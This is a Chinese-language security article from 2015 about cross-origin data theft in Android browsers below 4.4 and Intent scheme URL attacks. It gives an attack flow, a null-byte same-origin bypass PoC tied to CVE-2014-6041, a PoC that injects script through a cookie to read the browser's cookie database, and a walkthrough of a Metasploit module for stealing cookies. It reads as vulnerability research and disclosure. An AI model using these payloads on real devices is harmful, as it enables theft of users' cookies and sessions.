Android浏览器跨域数据窃取和Intent Scheme攻击
责编：admin ｜2015-01-06 14:18:45我们接下来要介绍的这个漏洞，其影响了Android版本4.4以下的自带浏览器和一些其他特定的Android浏览器，它允许黑客读取sqlite格式的cookie数据库文件，从而窃取cookie。顺着这个问题，我们来谈一谈Android版本4.4以下的跨站数据窃取攻击。
小科普
Intent Scheme URL攻击：这种攻击方式，利用了浏览器保护措施的不足，通过浏览器作为桥梁间接实现Intend-Based攻击。相比于普通Intend-Based攻击，这种方式极具隐蔽性，而且由于恶意代码隐藏WebPage中，传统的特征匹配完全不起作用。除此之外，这种攻击还能直接访问浏览器自身的组件（无论是公开还是私有）和私有文件，比如cookie文件，进而导致用户机密信息的泄露。
Intent-based攻击：这种基于intent的安卓攻击手法很普遍，轻则导致应用程序崩溃，重则可能演变提权漏洞。
攻击实验背景介绍
在我研究Stock浏览器的事务流程标准时发现，如果让浏览器打开新选项卡并且使用file：//协议，就可以通过网页打开本地文件。当然，这的确不算一个漏洞，但是如果它能在读取本地文件后，然后把该文件的信息发送到远程时，那就完全不同了。而且我留意到，这是个Android下浏览器的通杀漏洞，且并不仅限于Chrome、Firefox或者Opera等等。
下面的截图展示了漏洞被补后，权限被禁用，想要从菜单栏打开本地文件会发生的错误：
攻击实验方案：
为了利用这个漏洞，我们模拟了以下攻击流程：
1.骗取用户访问黑客构造的网站
2.黑客在某页面设置返回特定头部内容，使得受害者的浏览器自行下载exploit.html
3.受害者浏览器会主动打开新选项卡，浏览exploit.html
4.exploit.html将读取本地敏感信息文件，反馈给黑客
为了给这次攻击构造一个有效的exp，我同某日本安全研究员Haru Sugiyama讨论后，他给了我以下的POC：
http：//133.242.134.241/firefox/test.html
当你通过Android浏览器访问以上示例页面时，只要进行一些特定操作，其中的恶意脚本就会影响Firefox（文章首段提到的特定的Android浏览器实例）或者Android的自带浏览器，下载恶意代码到/sdcard/Download/exploit.html，当然前提是sdcard这个目录确实存在。浏览器会自行在新选项卡里打开刚刚下载的恶意文件exploit.html，然后从其他本地文件里读取内容。实际上，这个攻击过程并不如我讲的这么轻松愉快。在这里我们来做个对比实验，看看针对Android 2.3.x和Android 4.1.x-4.3进行攻击的结果区别。
Android 2.3.x观察报告
实验中我们使用了Android 2.3的模拟器，很轻松地就通过恶意文件exploit.html读取到了其他本地文件的内容，这代表该版本系统浏览器存在相应的漏洞，允许恶意网站绕过Android浏览器同源策略，进行跨域数据窃取。但是，由于Android 2.3.x的使用量大约只占安卓用户的11.4%，而且正在如winxp一般慢慢地消亡，所以其危害并没有那么大，Android各版本用户使用量统计图如下：
然而Android 4.1.x-4.3虽然并不能直接读取本地文件，但我们在尝试了空字节绕过的小技巧后，发现收效甚好，POC如下：
<button onclick="exploit()">Read iframe</button>
<button onclick="window.open('u0000javascript：alert(document.body.innerHTML)'，'test')">
Try u0000
</button>
<iframe src="file：/default.prop" name="test" style='width：100%；height：200'>
</iframe>
<script>
function exploit()
{
var iframe = document.getElementsByTagName('iframe')[0]；
try
{
alert("Try to read local file.")；
alert("contentWindow："+iframe.contentWindow)；
alert("document："+iframe.contentWindow.document)；
alert("body："+iframe.contentWindow.document.body)；
alert("innerHTML："+iframe.contentWindow.document.body.innerHTML)；
}
catch(e)
{
alert(e)；
}
}
</script>
遗憾的是，据CVE-2014-6041所述，该漏洞已经打上补丁，经试验exp失效。
采用Intent scheme URL进行攻击
据我们以上研究得出的结论，想通过Android 4.1.x-4.3的浏览器进行本地文件读取是不可行的，因为在这一系列版本中，本地文件不能从任意其他文件里读取内容。然而，metasploit团队的Joe Vennix表示，从intent scheme入手就可以轻松地发起攻击，附上相应文章，以下是文章中的POC：
该攻击POC的思路是：
受害者保存了包含恶意JS代码的cookie后，浏览器打开储存该cookie的sqlite数据库文件时，附在cookie里被注入了的恶意JS代码会自动执行，从而窃取数据库文件中存在的其他cookie。基于这个POC，黑客可以尝试读取整个webviewCookieChromium.db文件。
<！doctype html>
<html>
<head><meta name="viewport" content="width=device-width， user-scalable=no" /></head>
<body style='width：100%；font-size： 16px；'>
<a href='file：///data/data/com.android.browser/databases/webviewCookiesChromium.db'>
Redirecting… To continue， tap and hold here， then choose "Open in a new tab"
</a>
<script>
document.cookie='x=<img src=x onerror=prompt(document.body.innerHTML)>'；
</script>
</body>
</html>
Joe实现了一个Metasploit模块，可以自动化窃取cookie然后反馈给黑客，即使该数据库文件采用了httponly技术，这种攻击手段依然是危害巨大的。
Metasploit模块实现步骤：
下面的截图让你明白如何利用该模块获取cookie：
第一步：设置模块
第二步：窃取cookie
你做完了这步，就可以泡杯咖啡，坐等鱼儿上钩了。
第三步：坐等cookie
补丁相关信息：
在2014年2月发布了补丁，其对数据库文件储存目录的权限进行了加固，但是因补丁策略限制，它并没有照顾到大部分厂商。